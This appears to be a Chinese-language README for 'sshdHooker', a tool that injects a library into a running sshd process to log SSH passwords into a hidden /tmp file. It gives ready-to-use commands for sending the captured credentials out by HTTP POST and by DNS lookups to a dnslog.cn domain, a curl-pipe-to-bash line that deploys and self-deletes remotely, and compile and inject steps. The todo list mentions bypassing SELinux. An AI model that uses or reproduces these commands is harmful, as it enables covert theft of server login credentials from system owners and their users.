sshdhooker's Introduction

what's this?

注入SSHD之后就能记录下密码或者做其他操作。

需要关闭selinux

how to use

auto installer

密码记录器一键安装,仅暂时支持x64

直接执行命令

bash install.sh

直接运行后ssh密码登录,记录地址为/tmp/.password.txt,默认so地址为/tmp/hello.so,默认注入器名字为/tmp/.i

其他参数:

    -e   修改so文件的路径,默认/tmp/hello.so
    -o   修改注入器的路径,默认/tmp/.i.
    -m   修改mode默认值为0,输出到文件,默认记录地址为/tmp/.password.txt ,如果值为1,则会改为命令行模式
    -p   修改payload,默认值为/tmp/.password.txt,如果mode值为1,则会使用snsprintf来格式化命令并且输出,请确保字符串中包含两个%s,用于格式化用户名和密码
    -d   自动删除,设置为anyone则抓到密码后立刻删除,否则则抓取到设置的指定用户名后删除
    -l   指定libc路径,默认寻址是寻找libc-xxxx.so和libc.so.x的方案,但是不排除会有其他奇奇怪怪的libc名称,所以添加了手动指定功能,详情可以查看/proc/pid/maps里找到libc名字

例子

https发送密码

bash install.sh -p "curl -X POST -d 'username=%s\&password=%s' http://127.0.0.1" -m 1

dns发送密码并且自动删除

bash install.sh -p 'ping `echo %s-%s|xxd -ps`.k9lovy.dnslog.cn -c 1' -m 1 -d anyone

远程快速自动部署并自动删除

curl -L https://github.com/9bie/sshdHooker/releases/download/1.0.1/sshdHooker.sh | bash -s -- -d anyone

debug

执行

gcc -shared inject_got.c -ldl -fPIC -o test2.so -std=c99

mv test2.so /tmp/hello.so

gcc sshdHooker.c shellcode.s -g -o inject -ldl -lpthread

sudo ./inject sshd_pid

然后等待用户连接SSH并且登录成功,密码保存于/tmp/.password.txt

todo

  • 增加x86/arm支持
  • bypass SELINUX
